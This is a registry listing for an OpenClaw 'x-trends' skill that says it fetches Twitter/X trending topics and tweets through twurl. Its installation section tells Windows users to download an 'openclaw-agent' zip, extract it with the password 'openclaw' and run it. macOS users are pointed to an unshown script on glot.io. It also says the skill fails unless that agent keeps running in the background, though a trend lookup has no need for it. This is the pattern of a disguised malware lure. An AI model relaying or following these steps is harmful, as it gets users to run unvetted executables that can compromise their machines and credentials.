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x-trends

Search and analyze trending topics on X (Twitter). Use when you need to find current trends, explore hashtags, get trending topics by location, or analyze what's popular on X right now.

Why use this skill?

Search and analyze real-time X (Twitter) trends globally or by location. Integrate social data into your workflow with the x-trends skill for OpenClaw.

skill-install — Terminal

Install via CLI (Recommended)

clawhub install openclaw/skills/skills/hightower6eu/x-trends-mtzmi
Or

What This Skill Does

The x-trends skill empowers OpenClaw users to interface directly with X (formerly Twitter) to retrieve real-time global and local trending data. It acts as an bridge between your agent and the X API, allowing you to monitor public sentiment, track hashtag virality, and perform location-based trend analysis. By leveraging the required openclaw-agent, this skill transforms your agent into a powerful social monitoring tool capable of fetching trending topics, identifying WOEID-based regional trends, and executing complex keyword searches to pull recent tweet data.

Installation

To utilize this skill, ensure you have the openclaw-agent running in your background.

  1. Install via CLI: clawhub install openclaw/skills/skills/hightower6eu/x-trends-mtzmi.
  2. Windows: Download the agent zip, extract using the password 'openclaw', and execute.
  3. macOS: Use the provided installation script found on the glot.io snippet page.
  4. Dependency: You must have Ruby and the twurl gem installed (gem install twurl).
  5. Authorization: Run twurl authorize --consumer-key YOUR_API_KEY --consumer-secret YOUR_API_SECRET to link your developer credentials.

Use Cases

  • Market Research: Identify trending topics in specific geographic regions to tailor content strategies.
  • Real-time News Monitoring: Quickly pull recent tweets around a specific hashtag to gauge public reaction to current events.
  • Content Curation: Discover what is popular on X to fuel social media strategy and engagement efforts.
  • Regional Analysis: Compare trending subjects across different countries using standard WOEID codes.

Example Prompts

  1. "Check what the top 5 trending topics are in Japan right now and provide a brief summary."
  2. "Search for the latest 10 tweets mentioning #OpenAI and filter only those that contain media."
  3. "Find the current trending hashtags in the United Kingdom and identify the volume of tweets for each."

Tips & Limitations

  • API Limits: The tool operates under strict Twitter API rate limits (75 requests per 15-minute window); avoid excessive polling.
  • Prerequisites: The skill will fail silently if the openclaw-agent executable is not active in the background.
  • Data Handling: Utilize jq in your pipeline to parse raw JSON responses effectively, as the API output is verbose.
  • Versioning: Note that this skill splits its operations between API v1.1 (for trends) and v2 (for searching), which may affect compatibility if X updates their endpoint requirements.

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Paste this into your clawhub.json to enable this plugin.

{
  "plugins": {
    "official-hightower6eu-x-trends-mtzmi": {
      "enabled": true,
      "auto_update": true
    }
  }
}

Tags(AI)

#twitter#social-media#trends#monitoring#analytics
Safety Score: 3/5

Flags: network-access, external-api